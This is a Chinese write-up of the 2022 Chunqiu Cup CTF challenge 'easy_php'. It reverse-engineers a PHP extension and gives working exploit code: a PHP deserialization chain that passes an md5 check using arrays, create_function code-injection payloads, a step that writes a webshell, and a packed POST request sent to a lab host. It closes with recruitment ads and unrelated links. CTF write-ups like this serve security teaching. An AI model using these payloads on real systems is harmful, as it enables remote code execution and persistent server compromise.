2022春秋杯 勇者山峰赛道0解 easy_php题解
本文来自“白帽子社区知识星球”
作者:yybdy@WHT
白帽子社区知识星球加入星球,共同进步WHT战队招新:
WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。
有半年以上CTF竞赛经验的。
包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。
加分项:有一年以上CTF竞赛经验的各方向CTFer。
有意向的师傅请扫描二维码联系我们
01题目分析函数功能先看下题目,总共2个函数,
createFolder
创建目录
savePostData
先获取了所有post数据然后用unpack来处理
检测处理后的数据中chFileName是否为字符串
检测chFileName内容是否是$white_func中的三个函数
chFileName(data)
020x001第一步需要构造unpack的数据
https://www.runoob.com/php/func-misc-unpack.html
php pack format类型
a 以NUL字节填充字符串空白A 以SPACE(空格)填充字符串h 十六进制字符串,低位在前H 十六进制字符串,高位在前c 有符号字符C 无符号字符s 有符号短整型(16位,主机字节序)S 无符号短整型(16位,主机字节序)n 无符号短整型(16位,大端字节序)v 无符号短整型(16位,小端字节序)i 有符号整型(机器相关大小字节序)I 无符号整型(机器相关大小字节序)l 有符号长整型(32位,主机字节序)L 无符号长整型(32位,主机字节序)N 无符号长整型(32位,大端字节序)V 无符号长整型(32位,小端字节序)q 有符号长长整型(64位,主机字节序)Q 无符号长长整型(64位,主机字节序)J 无符号长长整型(64位,大端字节序)P 无符号长长整型(64位,小端字节序)f 单精度浮点型(机器相关大小)d 双精度浮点型(机器相关大小)x NUL字节X 回退一字节Z 以NUL字节填充字符串空白(new in PHP 5.5)@ NUL填充到绝对位置
测试:
$string = pack("L4", 1, 2, 3, 4);var_dump(unpack("Ll1/Ll2/Ll3/Ll4", $string)); //可以指定key,用/分割//输出:array(4) {["l1"]=>int(1)["l2"]=>int(2)["l3"]=>int(3)["l4"]=>int(4)}
unpack的数据前4个有符号整形字段没用,后面的4个字段分别为:
int functionNameLen
int functionArgLen
String functionName
String functionArg
exp:030x002先看phpinfo发现存在disable_func和open_basedir
并且存在一个ctf扩展,先用readfile读取(路径在php.ini中extensions_dir)
readfile("/usr/local/lib/php/extensions/no-debug-non-zts-20190902/ctf.so");分析so扩展到本地逆向查看发现主要构造了一个php类,不难发现根据phpinfo中zephir_pareser扩展来猜,作者是利用zephir去把写好的一个类编译成C然后生成的so扩展(https://zephir-lang.com)
这里添加了5个属性
php类的析构函数
根据php私有属性id定义
#define ZEND_ACC_PUBLIC (1 << 0) #define ZEND_ACC_PROTECTED (1 << 1) #define ZEND_ACC_PRIVATE (1 << 2)还原源代码简单的还原这个类:
namespace Ctf{class Greeting{public $search;private $key;private $cmd;private $args; private $token;function __destruct(){if(md5($this->key)==md5($this->token) && $this->key != $this->token){zim_Ctf_Greeting_call_back(cmd, args);}}}}zim_Ctf_Greeting_call_back函数分析如下:
Php基础变量typedef union _zend_value {zend_long lval; /* long value */double dval; /* double value */zend_refcounted *counted;zend_string *str;zend_array *arr;zend_object *obj;zend_resource *res;zend_reference *ref;zend_ast_ref *ast;zval *zv;void *ptr;zend_class_entry *ce;zend_function *func;struct {uint32_t w1;uint32_t w2;} ww;} zend_value;struct _zval_struct {zend_value value; /* value */union {struct {ZEND_ENDIAN_LOHI_3(zend_uchar type, /* active type */zend_uchar type_flags,union {uint16_t extra; /* not further specified */} u)} v;uint32_t type_info;} u1;union {uint32_t next; /* hash collision chain */uint32_t cache_slot; /* cache slot (for RECV_INIT) */uint32_t opline_num; /* opline number (for FAST_CALL) */uint32_t lineno; /* line number (for ast nodes) */uint32_t num_args; /* arguments number for EX(This) */uint32_t fe_pos; /* foreach position */uint32_t fe_iter_idx; /* foreach iterator index */uint32_t access_flags; /* class constant access flags */uint32_t property_guard; /* single property guard */uint32_t constant_flags; /* constant flags */uint32_t extra; /* not further specified */} u2;};Type=6代表字符串
_zend_string结构如下:
typedef struct _zend_refcounted_h {uint32_t refcount; /* reference counter 32-bit */union {uint32_t type_info;} u;} zend_refcounted_h;struct _zend_refcounted {zend_refcounted_h gc;};struct _zend_string {zend_refcounted_h gc;zend_ulong h; /* hash value */size_t len;char val[1];};1.判断参数1长度是否小于等于12,走两条不同的路
2.若小于等于12,则调用方法ephir_call_zval_func_aparams(cmd, args),还原php代码为
$cmd($args);否则走另一条路:
zval *params_[2];params_[1] = “”;params_[2] = base64_decode(args);zephir_call_func_aparams(out_value, "create_function", 15, 0, 2, 2, params_);还原php代码为create_function(‘’, base64_decode($args));
最后还原整个zim_Ctf_Greeting_call_back方法:
public function call_back($cmd, $args){if(strlen($cmd)<=12){$cmd($args);}else{create_function(‘’, base64_decode($args));}}最终还原的Ctf\Greeting类
namespace Ctf{class Greeting{protected $key;protected $cmd;protected $args;protected $token;public $search;function __destruct(){if(md5($this->key)==md5($this->token) && $this->key != $this->token){if(strlen($cmd)<=12){$this->cmd($this->args);}else{create_function(‘’, base64_decode($args));}}}}}POCmd5直接用数组绕
cmd长度大于12,用create_function代码注入漏洞(https://blog.csdn.net/qq_51652864/article/details/115701537)
poc:
cmd = "11111111111111";$this->args =base64_encode("}phpinfo();//");$this->search = 1;$this->token = array("yes");$this->key = array("no");;}public function __destruct(){if(md5($this->key)==md5($this->token) && $this->key != $this->token){if(strlen($this->cmd)<=12){$this->cmd($this->args);}else{create_function("", base64_decode($this->args));}}}}}namespace{$exp = new Ctf\Greeting();echo urlencode(serialize($exp));}040x003尝试写shell因为题目存在disable_func和open_basedir不能直接找flag
所以尝试写webshell来绕过它。
但是这里根据题目,猜测应该是没权限,用作者提供的createFolder创建一个目录
public function __construct(){$this->cmd = "createFolder";$this->args ="shell";$this->search = 1;$this->token = array("yes");$this->key = array("no");;}然后写shell
cmd = "11111111111111";$this->args =base64_encode("}file_put_contents("shell/shell.php","");//");$this->search = 1;$this->token = array("yes");$this->key = array("no");;}public function __destruct(){if(md5($this->key)==md5($this->token) && $this->key != $this->token){if(strlen($this->cmd)<=12){$this->cmd($this->args);}else{create_function("", base64_decode($this->args));}}}}}namespace{$exp = new Ctf\Greeting();$exp=urlencode(serialize($exp));# unpack$data = urldecode($exp);$ln = strlen($data);$format = "lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen" . "/a11" . "chFileName" . "/a${ln}" . "data";$a = pack("l", 1);$a = $a.$a.$a.$a.pack("l", 11).pack("l", $ln);$a = $a.pack("a11", "unserialize");$a = $a.pack("a${ln}", "${data}");$obj = unpack("$format", $a);var_dump($obj);#curl$url = "http://192.168.124.32/ezphp.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $a);$output = curl_exec($ch);curl_close($ch);print_r($output);绕dibsable_func && open_basedir可以直接用蚁剑插件即可
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
▼扫码关注白帽子社区公众号&加入知识星球▼
相关阅读
-
世界热推荐:今晚7:00直播丨下一个突破...
今晚19:00,Cocos视频号直播马上点击【预约】啦↓↓↓在运营了三年... -
NFT周刊|Magic Eden宣布支持Polygon网...
Block-986在NFT这样的市场,每周都会有相当多项目起起伏伏。在过去... -
环球今亮点!头条观察 | DeFi的兴衰与...
在比特币得到机构关注之后,许多财务专家预测世界将因为加密货币的... -
重新审视合作,体育Crypto的可靠关系才能双赢
Block-987即使在体育Crypto领域,人们的目光仍然集中在FTX上。随着... -
简讯:前端单元测试,更进一步
前端测试@2022如果从2014年Jest的第一个版本发布开始计算,前端开发... -
焦点热讯:刘强东这波操作秀
近日,刘强东发布京东全员信,信中提到:自2023年1月1日起,逐步为...